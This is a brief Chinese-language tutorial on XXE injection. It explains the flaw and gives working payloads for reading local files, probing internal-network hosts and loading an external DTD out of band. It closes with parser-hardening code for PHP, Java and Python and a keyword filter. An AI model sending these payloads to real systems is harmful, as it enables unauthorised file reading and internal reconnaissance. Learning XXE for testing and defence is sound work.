XXE简介

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 XML 与 HTML 的主要差异: XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息 ,而 XML 旨在传输信息。

漏洞利用

1.提交的数据包含XML格式如:

<forgot><username>admin</username></forgot>

2.请求头中如: Content-Type:text/xml或Content-type:application/xml 文件读取:

<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/www.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

内网探针:

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<user><username>&rabbit;</username><password>Mikasa</password></user>

外部实体引用:(解决不回显,解决免杀拦截问题,外部引用Payload)

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
    %file;
]>
<user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd
<!ENTITY send SYSTEM "file:///d:/www.txt">

XXE防御

#XXE修复防御方案 方案1-禁用外部实体 PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据 过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC